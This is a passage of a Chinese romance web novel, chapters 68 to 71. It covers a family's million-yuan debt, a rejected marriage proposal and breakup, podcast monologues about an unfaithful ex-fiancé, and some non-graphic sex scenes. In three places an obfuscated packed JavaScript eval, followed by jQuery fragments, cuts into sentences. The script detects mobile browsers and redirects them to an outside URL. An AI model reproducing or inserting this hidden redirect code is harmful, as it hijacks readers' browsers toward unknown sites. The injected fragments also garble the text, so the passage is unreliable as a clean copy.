“养老婆孩子只给吃给喝就够了是吧？”何允莲脾气也上来了，“甄东成，你没用，听到了吗？全世界你最没用！” “够了。”甄好冷冷的声音插了进来，“要吵等我走了再吵，我不想听。” 早在初中的时候，她就希望父母可以离婚，只要让她跟着父亲生活就行。 现在十多年过去了，她更加不会介意父母分开。 没有爱也没有钱的婚姻有什么意思？ 她短短的两句话让甄东成夫妇俩瞬间熄了火，就连一直埋头吃饭的甄美也没敢说半句话。 是从什么时候起，这个大女儿的气场变得如此强大，甄东成不知道，何允莲更不知道。 夫妻二人只是觉得，他们的好好好像真的长大了。 这场家庭闹剧始于甄好的一句话，也止于甄好的一句话。 她忽然觉得累了，想快点逃离这个家，再也不要回来。 于是在说完那句话后，她便提前回屋。 她简单地收拾了一下行李，不多时甄美也进来了。 “阿姐，你说我们的未来还会好吗？”甄美的表情看起来丧丧的，像是受了很大的打击，“为什么长大一点都不快乐？” “未来会好的。”甄好沉默片刻，才语气坚定地回答，“快乐也会有的。” 未来真的会好吗，快乐也真的会有吗？其实连甄好自己都不知道。但甄美还那么年轻，刚毕业的年纪正是对未来有无限憧憬的时候，她不想散播负能量。 是违心话也好，是勉励自己和甄美的漂亮话也罢，至少此时此刻，甄好还是对人生抱有美好的期待的。 只要努力，只要脚步不停，总有一天会站在坦途之上，不说鲜花满地，起码问心无愧。 等甄好两人开车回到市区，已经是夜里十一点钟。 耳边的喧嚣在一瞬间退去，窗外万家灯火仍旧明亮，只有没开灯的屋里漆黑一片。 她一个人静静地坐在电脑椅上，看着黑暗里闪烁的明亮发着呆。 只有独处的时候，她才能够冷静地思考一些事情。 不过她没坐多久，门外就传来甄美的声音：“阿姐，出去逛逛吗？逛累了吃点东西，想念桥头的那家烧烤了。” “好，我换件衣服，马上来。”甄好应道。 姐妹俩很久没有安安静静地散步聊天了，久违的宁静让甄好郁闷的心情得到了一丝缓解。 她们围着江边宁静的步道走了一圈，在一处地方默契地停了下来。 走过面前这座桥，另一端便是甄美所说的烧烤店。 “我好像闻到了烧烤的香味，阿姐，我们快过去吧！”甄美笑眯眯的，眼里满是对美食的渴望。 不提还好，她这么一提甄好也被勾起了馋虫，想立刻吃上两口。 两人到达烧烤店时，正是店里最热闹的时候，里外都坐满了人。 老板表示没有空座了，如果不介意可以跟其他客人拼桌。 甄好和甄美对视一眼，异口同声道：“拼桌就拼桌。” 老板这才引着她们朝角落的一张桌子走去。 倒是个好座位，清静人少。甄好一边走一边想。 只是当看见围坐在桌边的几人时，她的笑容忽然顿住。 这是不是太巧了？ 她不禁侧头看向身旁的甄美，见对方也一脸惊讶的样子，才勉强相信他们不是约好的。 “你们怎么也在这里？”不同于甄好的别扭，甄美神情雀跃，三两步走上去坐下来，挽着沈翊的手臂，“好巧啊。” 的确很巧。 在座的不仅有沈翊，还有他堂哥沈却，更有—— 甄好的目光落在最角落里的那个男人身上。 昏黄的光落在他脸上，他就那样姿态从容地坐在那里，看向甄好的目光比这市井烟火气还要暖几分。 都说灯下看美人，要她说啊，灯下看美男也是极好的。 “甄老师，好巧。”沈却明明是在跟甄好打招呼，眼神却意味不明地落在时序身上，而后才转回甄好身上。 “沈先生，真的好巧。”甄好收回打量时序的视线，笑着对沈却道。 这个拼桌当真拼得巧。 甄美已经和沈翊头挨着头点起了各自喜欢的东西来，时序也将手中的菜单推给甄好：“看看还想吃什么，尽管点。” 甄好看了一眼他已经勾选上的食物，发现基本都是自己喜欢吃的，便摇了摇头：“可以了，吃完不够再点。” 时序没有勉强她，很快就招来老板下了单。 等待烧烤上桌的时候，几人有一搭没一搭地聊着天。 甄好看着明显与这里格格不入的时序，忽地意识到什么。 她忽略自己和时序之间的问题太久了，又或者说她是在逃避，逃避面对残酷的现实，可如今甄东成出事了，深藏在湖底的危机逐渐浮出水面，叫她不得不开始认真思考一些事情。 “阿姐？”甄美叫了两声甄好，见她都没反应，又叫了一声。 “嗯？”这下甄好总算回过神来，“怎么了？” “想什么这么入神？”甄美将刚上的热乎肉串往她面前推了推，“你爱吃的。” 时序也注意到甄好的不对劲，不过他什么都没说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064869|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，而是专注于手里的大虾。 甄好刚咬下第二口肉串，就见一碗小山一样的虾肉被递到了自己面前。她略显愕然地抬起头，与时序波澜不惊的视线撞了个正着。 “哇，阿姐，时序哥对你好好啊！”甄美惊呼。 “别羡慕，你也有。”就在甄美刚说完这话，沈翊同样推了一小碗虾肉到她面前。 沈却表示自己有受到伤害：“你们够了啊。” 他忽然觉得自己晚上不应该出门。 “哥，你也老大不小了，赶快给我找个嫂子就不用总当电灯泡了。”沈翊开着玩笑。 “你小子胆子倒是大，都敢催我了。”沈却笑着端起酒杯，自顾自喝了一口。 这晚这啤酒怎么有点苦…… 他无奈地摇了摇头，脑海中适时地掠过一道窈窕的身影。 是他不想给沈翊找个嫂子吗？是他心中的月亮不肯朝他奔来。 就在他出神之际，放在桌上的手机振动了一下。 他拿起来一看，看到是发消息的人是谁后，嘴角不由得勾起一丝笑意。 “沈先生，我想你了，今晚来陪我吗？” 哪怕亲密接触了那么多次，楼珈宁也坚持叫他沈先生。为了能够得到一个名分，他也就事事依她，不敢对此有任何异议。 楼珈宁一句话就勾起了沈却心里的痒，片刻都等不得地起身告辞：“各位，我突然有点急事，要先走了。” 如果时序知道自己的好兄弟沈却也跟自己一样，甘心做心爱之人的地下情人，一定会叹一句“难兄难弟”。 而另一边，楼珈宁发完消息，看着身边睡得死沉的男人，心里涌起一阵厌恶感。 这座城堡就像一个巨大的牢笼，将她困得死死的，怎么都逃不出去。 城堡的主人却如同鬼魅般，说不定哪日就要将她召到这里来整夜欢愉。哪怕他对她温柔至极，哪怕他给予她无上的快感，她依然恨极了他。 而沈却，就是她用来报复他的手段之一。 半个小时后，沈却在自己城郊的一套别墅里见到了楼珈宁。 “阿宁，我来了。”一见到她，他就再也忍不住思念，将人紧紧搂在怀里。 “沈先生可有想我？”楼珈宁柔软的手指灵巧得像蛇，一点一点地攀上男人后背，轻轻地打着圈。 沈却用行动回答了这个问题。 他将楼珈宁打横抱起，大步走到床前将人放了上去。就在他滚烫的唇刚吻上时，女人用纤纤素手挡住了，声音甜得发腻：“沈先生，今晚我们只抱着睡觉，不做好不好？” 干柴烈火的不只是这边，还有另一边。 吃完烧烤后，甄好不想打扰甄美和沈翊这对小情侣节后温存，便主动提出：“阿美，你们先走吧，我和时序还有点事要聊。” 这只是她的借口而已，时序却当真了：“正好，我新学了一款咖啡，去尝尝？” “这么晚请我喝咖啡，你是不准备让我睡了？”甄好睨了他一眼。 说话时，两人已经上了车，甄好低头扣好安全带抬头时，男人火热的唇已经吻了过来，不过一触即离。 时序哑着嗓音说道：“你真的想一夜不睡觉吗？” “不知道你说什么。”甄好伸手推了推他的胸膛，却没推动，反被紧紧地抱住。 “别动，让我抱会儿。”时序说话时的热气拂过她耳畔，痒痒的，连带着一颗心也痒痒的。 她又听时序缓缓说道：“好好，这几天我好想你，好想你。” 她就这么静静地让他抱了一会儿，心里五味杂陈。 开车回到时序的房子时，刚进门他就忍不住去抱他，紧接着滚烫的吻落了下来。 甄好的身体很诚实，不自觉地就开始迎合他。 这一次，他们没有在床上，而是在铺着厚厚羊绒毯的地板上，一次又一次，直到男人力竭，直到两人的呼吸渐渐趋于平稳。 时序从身后抱着甄好，大手放在她小腹的位置，声音里满是餍足：“好好，我想一辈子住在里面。” 听懂了他是什么意思的甄好耳尖瞬间红了，忍不住嗔他：“你正经一点。” “我这辈子只对你不正经。”时序轻轻蹭着她的后背，一本正经道。 他突然想要有一个家了。 一个有甄好的家。 69. 会比今天更爱你 阵雨淋湿云雀的羽翼，潮湿的钟楼敲响告别之声。 晴空和彩虹都是假象，离开成为你我之间的主旋律。 ——《橘色告白》 三天后，甄好在结束一天的拍摄时，接到了时序的电话。 “下楼。”男人只有简短的两个字。 “好。”挂完电话后，甄好下意识地照了照镜子，确保自己的妆容和服装没有问题后，才快速下了楼。 初春的闽市气候宜人，天空晴朗澄澈，风也是最舒服的温度。 哪怕是午后的时间段，阳光也不灼人，反倒暖暖的，很舒适。 “去哪儿？”下楼看见坐在车里的时序后，甄好微微躬身问道。 不过才几天不见，她竟有种恍若隔世的感觉。 “先上车。”时序没有多说。 车子一路疾驰，穿过热闹的市区，跨越宽阔的大桥，驶入杳无人烟的郊区，又攀爬到半山，最后在一处被繁花绿树包围的地方停下。 甄好解开安全带准备下车时，被时序伸手轻轻地拦住：“等一下。” “怎么了？”甄好不解地侧头看他。 一条项链从时序的掌心中自然垂落，他的语气也很平常：“看到很适合你，就买了。” 像是知道她要说什么，他很快又补充：“放心，不贵。” 冰凉的触感落在甄好白皙的脖颈间，项链是经典款的小蛮腰设计，简约大气，的确送到了她的心坎里。 “谢谢，我很喜欢。”甄好轻抚着坠子，笑弯了眼睛。 时序轻轻地在她的额头上落下一吻，语气中满是宠溺：“好好，我愿意把全世界都给你，包括我。” “干吗呀？突然这么矫情……”甄好受不了地轻推了一下他。 时序的目光忽地变深，一句话滚在喉咙间，几乎要脱口而出，但还是忍住了：“好好，你先在车上等我一下。” 说完，他先下了车，绕到副驾驶座旁，亲手打开车门，微微躬身邀请道：“有请甄老师下车。” “你今天到底怎么了？”看着男人伸出的手，甄好有些摸不着头脑，“突然这么正式？” “我这样不好吗？”时序依旧保持着躬身的姿势。 甄好将手放在他温暖的掌心中，边走下车边说道：“就是……不太习惯。” 不习惯吗？ 时序微微皱眉，开始反思：“看来我还是对你不够好。” 他的声音不大，甄好没听清楚：“你说什么？” “没什么。我们进去吧。”甄好站稳后，时序紧紧牵着她的手，一步一步缓缓地朝里走去。 两旁绿树成荫，蔷薇花盛放，散发着芬芳，耳畔偶有鸟鸣声，让人的心情不自觉放松下来。 “喜欢这里吗？”时序开口问道。 甄好点点头：“嗯，喜欢。” 此处鸟语花香，远离尘世，连风都是自由的。 她忍不住闭上眼，站在原地感受着这天然氧吧。 “这里好像现代版的世外桃源，我喜欢，很喜欢。”甄好将手从男人掌心中抽回，背在身后缓缓地倒退着走路。 “哪怕闭上双眼，也能够看到如画卷一般美好的一草一木。”逃离俗世的喧嚣后，她整个人顿时放松下来，脸上也露出小女孩般甜美的笑容。 时序不禁有些看呆。 从他认识甄好开始，她就一直是一个不快乐的小女孩，身上总是像被什么无形的东西束缚住，谨慎又别扭。 可是很奇怪，他就是喜欢这样的她。 无论她是什么样的，他都喜欢。 这份喜欢，从儿时的懵懂无知到年少时的情窦初开，再到成年时的坚定不移，一喜欢就是这么多年。 他看着甄好一点一点地卸下心房，一点一点地重新变回她心里的那个小女孩，他对她的爱意不减反增，一日比一日浓烈。 他想要牢牢抓住她，以自己的方式。 这座庄园是他物色了许久才找到满意的，最让他感到高兴的是，甄好也很满意。 只要她满意，他怎样都可以。 “小心。”眼看甄好就要踩到一粒小石子，时序手疾眼快地搂住她的细腰。 甄好仍旧闭着眼睛，语气里满是信任：“我就知道你不会让我受伤的。” “你啊。”时序顺势从身后环抱住她，将她整个人圈在自己怀里，“下次不许拿自己的安全开玩笑了，知道吗？万一我没有注意到，摔伤了怎么办？” “你不会的。”甄好挣脱他的怀抱，与他面对面站着，“我相信你不会的。” 她说着伸手抚摸男人的眉眼，想要将这张好看的脸牢牢记在心里。 被心爱的人这样信任，时序动情地吻上甄好柔软的唇。 深吻来得猝不及防，甄好索性放任自己，尽情迎合着男人的欲望。 就在她双腿发软浑身发热时，时序终于放开了她。 “你脸红的样子好美。”他轻抚她的脸，又抬起她小巧的下巴，重重地吻了上去。 甄好本来就腿软站不稳，又被他的重量一压，直接整个人瘫软在他怀里。 “时序……”她低声呼唤她的名字。 “叫我阿序哥哥……”时序滚烫的唇滑过甄好微凉的耳朵，惹得她一阵轻颤，“像我们的第一晚一样，叫我阿序哥哥……” “阿序哥哥……”甄好努力找回自己的理智，“这里会不会……有人看……看到……” “这里没有人。”时序轻咬近在咫尺的诱人，气息有些不稳，“这里只有我们。” 这座庄园他已经买下来了，这是私人地区，安防系统也早已设计充分，如果有人靠近，会引发警报声。 “不要……”哪怕没人，甄好也不习惯在露天的地方做那种事，“不要在这里好不好？” 她的身体已经叫嚣着强烈的渴望，可仍旧强迫自己保持一丝理智：“阿序哥哥，不要在这里做……” “好，不在这里。”时序轻柔地吻上女人泛红的眼尾，语气里带着疼惜。 他抱着甄好进了别墅二楼，却并未走向主人房，而是去了大小仅次于主卧的另一个房间。 甄好对这里的布局不熟，自然不会注意到这些，她躲在时序怀里，脸颊热得不行。 他们刚刚竟然差点在外面做那种事，想想就羞人…… 接下来的事情顺理成章，成年人之间的欢愉一次又一次，在时序想要再来一次的时候，甄好一脸赧然地下了终止令：“不能再来了，你身体还想不想要了……” “我想知道你还想不想要。”时序靠近她，故意逗她。 “不想，我不想要了……”甄好越说声音越小，怎么听都像是口是心非。 时序被取悦到，抬手轻柔地把甄好落下来的头发别到耳后，又亲了一下她的额头，才与她拉开距离。 “我也不敢要了。”时序低笑出声，“怕弄疼你了，我心疼。” “你再说我不理你了。”甄好撇过头，不想让自己害羞的样子暴露在他面前。 在他面前，她总觉得自己变得不像自己了，像个小女孩，也像个小女人，总之就是变得连她自己都感到很陌生。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16070173|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 比如此时此刻，她整个人羞得恨不得钻进地洞里，再也不要出来。 就在她胡思乱想之际，感觉自己被人打横抱起，顿时吓得惊呼出声：“时序，你做什么……” “我抱你去洗澡。”男人有力的臂膀稳稳地抱着她，脸上一派轻松。 “我不要你抱……我自己去……”甄好小幅度地挣扎着。 “乖。”时序附在她耳畔轻声道，“我刚刚太用力了，怕你站不稳。” 他这话一出，甄好没忍住轻咬了一下他的耳朵。 然而因为力道太轻，跟被小猫挠似的，反倒勾起男人心里的痒。他故意威胁她道：“你再撩拨我，小心我在浴缸里……” “时序！”甄好急急地打断他。 “我说的是小心我在浴缸里放很多花瓣。”时序嘴角勾起弧度，“我的宝贝在想什么呢？” 甄好瞪着他，决定不理他。 不过在初春里泡一个热水浴当真舒适，她泡着泡着都险些睡着了。 甄好泡完澡裹着浴袍看到时序准备的衣服时，感到不可思议：“我穿这个？” 会不会太隆重了？ 挂在她面前的是一条露背挂脖改良旗袍，很符合她的气质，但是…… 甄好看着那双漂亮的高跟鞋微微皱眉。 她很少穿高跟鞋。 精致的高跟鞋和普通的小白鞋就像公主和平民，更像她和时序…… 她愣愣地站在原地。 被爱与欲冲昏了头脑的甄好慢慢清醒过来，攥着浴袍的手也越缩越紧。 但她还是换上了那条裙子，只是没有穿那双高跟鞋。 时序一共准备了三款不同风格的鞋任她挑，所以她穿哪双他都不会察觉到她的异样。 被时序牵着走到后花园时，甄好被眼前的一幕惊呆了。 偌大的花园不知何时亮起了氛围灯，周围更是放了许多她喜欢的鲜花。 她喜欢花，几乎不挑，而这里简直成了百花园，红的蓝的黄的紫的粉的白的，什么颜色的花都有。 “时序……”她难以置信地回头，却见男人在自己回头的一瞬间单膝下跪，手里高举着一个戒指盒。 像所有电视剧里被求婚的女主角一样，她下意识捂住嘴，双眼微微睁大。 时序坚定的声音很快萦绕在她耳畔：“好好，我在懵懂无知的年纪里遇到了你，又在情窦初开的年少时喜欢上你，现在，我已经是大人模样，可以给你温柔的守护，也能够为你遮风挡雨，我希望在我这里，你可以永远是你，可以永远先爱自己。我不奢求我是你心里的第一爱，我只愿你最爱自己。” “甄好小姐，我爱了你十五年，往后的每一个十五年我也都会爱你如初。”时序停顿了片刻，很快又改口，“不，我会永远比今天更爱你。所以，甄好小姐，你愿意嫁给我吗？” 他的每一个字甄好都听得清清楚楚，可他每说一个字，她的心都更痛一分。 等他说完，她才发现自己早就已经泪流满面。 看见她哭，时序顿时慌了。想站起来，又想单膝跪着等待她的答案，一时之间进退两难。 但心疼战胜了他对答案的渴望，他快速站起身，想要去抱甄好，却被她用力地推开。 甄好动作缓慢地擦去脸上的泪，语调也缓缓的：“对不起，时序。我不能答应你。” 她一个字一个字残忍地说出自己早就想好的决定：“我不仅不会嫁给你，我还会离开你。” “时序，我们分手吧。”甄好狠下心，咬字清晰地说出这句话。 70. 对前任念念不忘 雨天会过去的，苦难也是。 ——《橘色告白》 下午还晴朗的天，却在此时炸响一声闷雷。 时序料想过甄好不接受自己的求婚，但对于分手这件事他一点心理准备都没有。 一场风雨欲来，然不及他心中的风暴来得猛烈。 “好好……”他嗫嚅着开口，最终一个字都没有说。 他了解甄好，一旦做了决定，谁也拉不回她。 “晚上想吃什么？我去做。”时序试图直接跳过这个话题。 “时序。”甄好丝毫不给他逃避的机会，“我说，我们分手吧。分手的意思是分开，彻底分开。” 所以不要再对她好了，不要再做一些让她犹豫徘徊的事情了。 她好不容易狠下的心，不能被这场即将到来的暴雨冲刷。 “谢谢你这段日子以来的陪伴，是我辜负了你，对不起。”甄好努力克制着声音里的颤抖，“衣服我回干洗好送到你家。” 她认得出来，这条裙子是高定，价值不菲。 “我先回去了。”她不给时序说话的机会，说完转身就走。 “我送你。”时序往前一步，想要拉她的手腕，在即将触碰的一瞬间又收了回来。 “不用了，阿美已经在来接我的路上了。”甄好头也不回地说道，“你不要跟过来。” 她的声音冷得像冰，时序生生顿在原地。 等甄好走远十来步后，他才抬腿缓缓地跟上，保持着她不离开自己视线范围的距离。 远远地，他看见女人拢了拢身上的白色披肩，瘦弱的背影透着一股决绝。 他的心忽然疼得厉害。 一束刺目的车灯从远处慢慢逼近，最近在甄好面前停下。 他看着她笑着和甄美说了什么，看着她弯腰坐进了车里，又看着她们的车渐渐消失在夜色中。 时序在原地站了很久很久，久到腿有些发麻，久到风吹在脸上是刺骨的疼。 大雨落下的一瞬间，他甚至忘了挪动脚步。 雨再大也冲不走他心里的痛楚。 在冷到狠狠打了一个喷嚏后，他才行尸走肉般地走回别墅。 湿漉漉的脚印在木地板上连成一串，直到主卧门口才停了下来。 没有甄好的地方，四周空旷得可怕，连风声都像在哭号。 甄好说喜欢安静的地方，他就买下这座世外桃源般的庄园准备送给她，想和她有一个家。 可事情为什么会变成这样…… 时序整个人滑坐在地毯上，整日开着的地暖都没能温暖他半分。 他不知道自己是怎么走去浴室洗澡换衣服的，也不知道自己是怎么走到岛台拿了酒的，等他反应过来的时候，手机里已经满是甄好的声音—— “嗨，大家晚上好。没想到我的碎碎念会得到这么多人的喜欢和支持，再次祝各位新年新气象，财源滚滚来！” 这是甄好大年初三发的，也是她录制情感口播的第三期，标题是：因为一个男人，我成了负婆。 “没错，就像标题写的那样，因为Q先生，我直接负债一百万。可能这么说也不够准确，毕竟感情和金钱总是很难评判谁对谁错，我从来不否认我在这段感情里有很多做得不好的地方，但我还是那句话，两个人再如何大吵大闹，都不是任何一方出轨的借口。 “我们订婚后，我本人出首付购了一套三居室，从看房到买房，到商量如何落户，如何一起经营我们这个小家，再到由我付房贷以及装修房子、他负责我们的房租和生活用度，他从未说过一句不满的话。现在想想，这事其实深究起来挺复杂的，每个人想法不一样，或许有人会说我自私，都要结婚了，还买这么大一套房子，还要男方负责生活琐碎，不用骂我了，我替你们骂了。但当时我太年轻了，我根本想不明白这些事，也没有考虑那么深，我只是单纯地想要拥有一个完全属于自己的家，所以我就掏出所有的积蓄这么做了……哦，对了，Q先生负责我们的生活开销这件事是他主动提出来的，并非我要求。 “我一直以为他是真的支持我买下属于自己的房子这件事的，直到后来我们异地，直到我们频繁吵架，我才知道原来他心里一直有很大的怨气。 “他质问我：你买房考虑过我的感受吗？我一个大男人，比女朋友买房买得晚像什么样？还有，我们马上就要结婚了，你买房是不是防着我，不相信我能给你好的生活，是不是？ “我当时都被他问蒙了。我才恍然大悟，原来我比他先买房这件事严重伤害了他的自尊心。那时候不懂自洽，真的因为这件事不断地责怪自己，不停地内涵，甚至后悔买了房，连盯装修都抗拒。 “我一直将我和Q先生感情走向破裂的原因归咎于这套房。现在想来，房子何其无辜，我当时又何其愚蠢。他的没本事凭什么要我来买单？我内涵自责个什么劲？ “对了，前面所说的Q先生负责生活花销，实际上只给我转过一次300块钱，再无其他。也就是说，从首付到还月供、到房租和生活费，再到装修费，全部是由我一力承担。 “原本以我当时的收入和可以勉强支撑这一切的，但人算不如天算，三次元的事一件接一件，涉及的人太多，我就不仔细讲了，总结来说就是我的事业不景气、家里生意出了问题、家人急得进了医院，房贷、房租、生活费和装修费一层层压下来，让我几乎喘不过气来。 “我甚至绝望到找馆长预支演出费，我省吃俭用、我过着每天睁眼就是还债的生活，而这一切，Q先生一无所知。不是我不想告诉他，是这一切都没意义了。后来的发展就是他对不起我，我们退婚。 “说得有点乱，大家就当看个乐子吧。我来简单总结一下，别的没什么很想说的，只想告诉所有女孩子，一定要多爱自己，并且一定要有抗风险能力，存款很重要，千万不能学我孤注一掷，不仅吃尽了苦头，最后还是一无所有。最后，祝大家生活无忧，无债一身轻呀！下一期还没想好讲什么，到时候看心情再决定跟大家唠嗑什么吧。拜拜咯！” 在这一期之后，甄好连续几天都没有更新新的视频。 直到两天前，她才又发布了新的。 也是因为这条视频，加快了时序向她求婚的步伐。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16077412|171333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的每一条视频他都反复认真听过，可此时此刻他还是近乎自虐般地一遍遍重复播放。 最新一期的标题是——已婚的前夫哥要我做他的小老婆。 “晚上好呀，我的电子姐妹们！今天唠嗑的主题是不是有点炸裂？好怕被平台判定为不良传播，但我用我今年所有的零食保证我的三观比谁都正！ “没错，Q先生在与我退婚后，快速和那位介入我们感情的女士结婚了。你们可能要问我难不难过，说不难过是假的，但更多的是不甘，直到今日，我还是觉得不甘心。不是因为不能成为他的新娘而不甘，是因为不想承认自己眼瞎了那么多年。 “他结婚当晚给我发消息我就暂且不提了，你们知道他后来怎么着吗？他后来的举动让我觉得这个人不是慢慢烂掉的，他是一直都这么烂。在他新婚当夜，我已经明确表示过此生不必再联系，可就在昨晚，他又给我打了电话。 “我补充说明一下，我与他已经没有任何联系方式，这是我个人的行为习惯，一旦决定和谁划清界限，就不会让那个人再出现在我的生活里，无论这个人是谁。 “Q先生是用的一个陌生号码给我打的电话，当时我以为是业务上的事情，便想也没想地接了起来。知道是他后，我本想直接挂断，但转念一想，彻底聊开也许是解决问题的关键。这通电话就这么开始了…… “起初我们的谈话还算和谐，我也直说了这次讲清楚此后就互不打扰，他没答应也没拒绝，只是不断回忆着我跟他的过去，我觉得厌烦，但还是耐着性子听，我不是放不下他，我想的是一劳永逸。 “他说到了现在的老婆哪里都不如我，唯独一点比我好，我当时真是嘴贱，非要反问是哪一点。结果你们才这个王八蛋说什么？他说我胸没她大！气死我了，也恶心死我了。我想直接挂电话，但不爱一个人了所有的理智都会回笼，我如果生气地挂电话意味着什么？意味着我还能被他牵动情绪，这种错觉是万万不能给对方一点的。 “这个电话讲了整整两个小时，该说的、不该说的，都说完了，挂电话前我仍旧保持着体面，直白地告诉他以后不要再联系，我要开始新生活了，他也答应得好好的。我以为事情真的就此结束，没想到仅仅过了一个晚上，他又给我发短信。短信内容除了对我的思念，还有后悔之情，可我看着那些大段大段的文字，只觉得反胃。 “不知道你们还记得Z这个女生吗？没错，Q先生曾经喜欢却没能在一起的白月光。原来真的有人逃不开‘前任’这个怪圈，在他的世界里，前任永远是最好的，Z是，我也是。跟这样的人在一起，苦的永远是现任。 “他最后甚至说出‘做我的小老婆，小老婆只需要每天漂漂亮亮地穿衣打扮，大老婆才要在家里保持里里外外’这种话来，我真是眼睛瞎了又瞎，才会跟这种人在一起八年！ “今天就讲到这里了，烂掉的男人真是越讲越晦气，希望没有恶心到让姐妹们少吃两碗饭。下期见咯！拜拜。” “好好，那你会对我这个前任念念不忘吗？”端起酒杯时，时序看着随风轻轻飘动的窗帘喃喃自语。 71. 像没人要的小孩 一生潮湿，难以自救。 ——《橘色告白》 当晚，甄好工作到深夜，后半夜又几乎是睁着眼睛看着天花板到天明。 翌日清晨，她接到了何允莲的电话：“你和阿美都给我回来，现在立刻马上给我回家！” “发生什么事了？”甄好头疼地揉着额角。 “什么事？什么事等你回来亲自问问你那没用的好老爸就知道了。”何允莲的声音又拔高了几分。 闻言，甄好心中一跳，一个隐隐的猜测在心中慢慢形成。 甄东成的事到底还是没瞒住，要债的电话打遍了甄家的每一个人。 甄好姐妹俩赶到家的时候，何允莲正指着甄东成逼问：“你说啊，你到底欠了多少钱？啊？！” “问那么多干什么？你能帮忙还是怎么？”甄东成闭口不提。 眼见着何允莲就要上手了，甄好及时喝止：“妈，我们回来了。” 果然跟她猜的没错，甄东成欠银行钱的事情暴露了。 “阿爸，事已至此，没什么好瞒的了。”甄好早就做好了面对这一天的心理准备，所以神色没有多大变化。 倒是甄美担心极了：“阿姐，到底发生什么事了？” “是啊，到底怎么回事，你倒是说啊，甄东成！”何允莲因为长期缺觉，整个人看起来苍老了很多，疾言厉色的时候看起来甚至有些狰狞，“你到底为什么欠银行钱，到底欠了多少钱？！” “一……”甄东成紧闭双眼，豁出去了般大声道，“一百万！” “多……多少？”听到这个数字何允莲霎时瞪大双眼，“你说你欠了多少？” “一百万，一百万，一百万！”甄东成被问烦了，一连回答了好几遍，“我欠了一百万，行了吗？” “一百万……”何允莲颤抖着嘴唇重复道，而后开始哭号，“我怎么命这么苦啊，嫁给你没过过几天好日子就算了，到老还要背上这么大一笔债……我命苦啊！” 一百万对于甄家来说无疑是个天文数字，甄美的脸色也有些苍白，也是这时她才想明白了一些事：“阿姐，所以你才会把刚买不久的新车卖了是吗……” 她昨晚去半山庄园接甄好开的是沈翊的车。 “什么？你把车卖了？！”何允莲一听更加难以接受，号啕的声音更大了，“甄东成，都是你这个没用的，搞得这个家什么都没了……没了，什么都没了啊……我命太苦了……” “妈，你想让邻居看笑话吗？”甄好冷不丁一句话就让何允莲止住了哭声。 她最懂何允莲看重什么，所以能够精准地掐住要害。 何允莲最爱面子，最在乎旁人对她的看法，搬出自己人对她来说没有任何威慑力，但只要提到外人看笑话，比任何招数都管用。 “我没钱……”半晌，何允莲才挤出了这么三个字。 “就没指望你能帮忙……”甄东成呛了一句。 “你们慢慢吵，我去找奶奶给我做面线糊吃。”甄好说着就朝里屋走去。 她的冷静反倒让甄东成夫妇俩噤了声，两人面面相觑，相顾无言。 甄美小跑着跟上甄好：“阿姐，你等等我，我也想吃奶奶做的面线糊了。” 甄奶奶做的面线糊有家的味道，在外面怎么都吃不到相同的。 接下来的日子，甄好奔波在银行和与卖车相关的各个地方之间，忙得工作几乎都要顾不上。 极致的忙碌让她无暇顾及分手的难过，每天一睁眼就无数事情等着她，等到深夜终于忙完她早就累得沾床便睡。 在替甄东成还完一部分欠款，又将剩余的债务合理规划归还计划后，甄好又面临着新的问题——何允莲的病情每况愈下。 甄家人经过商量，决定让何允莲换个地方生活，改变一下环境，看能不能调节一下心情。 也就是搬到甄好姐妹俩租的房子里暂住一段时间。 何允莲住进来的第一天，姐妹俩开启了噩梦般的生活。 吃饭时—— 何允莲：“饭太硬了，吃起来胃不舒服。” 甄好：“那多吃菜，吃饺子也行。” 何允莲：“菜太淡了，饺子吃不下，看到就饱了。” 甄好：“……” 散步时—— 何允莲：“浑身没劲，走不动了。” 甄好：“那我们回去。” 何允莲：“家里太闷了，喘不上气来。” 甄好：“……” 逛商场—— 何允莲：“暖气太热了。” 甄好：“那不逛了，出去吧。” 何允莲：“外面太冷了。” 甄好：“……” 睡觉时—— 何允莲：“我感觉胸口闷，窗户开了吗？” 甄好：“开了。” 何允莲：“小美，把门也打开一下。” 甄美：“门是开着的。” 何允莲：“好好，我还是觉得很闷，喘不上气来。” 甄好：“那我打120？” 何允莲：“不行不行，等下大家都知道我去医院了，多不好意思。” 甄好：“……” 在如此过了一周后，甄好和甄美的精神状态已然趋于崩溃。 好不容易放假的周末，两人甚至不敢在家多待，一同去了家附近的咖啡店。 甄美直接趴在桌子上，一脸生无可恋地说道：“阿姐，再这么下去，家里得多两个更年期的女人。” “赞同。”甄好经历过那么多事情，心理比很多人都强大，可是在何允莲面前显然不够用。 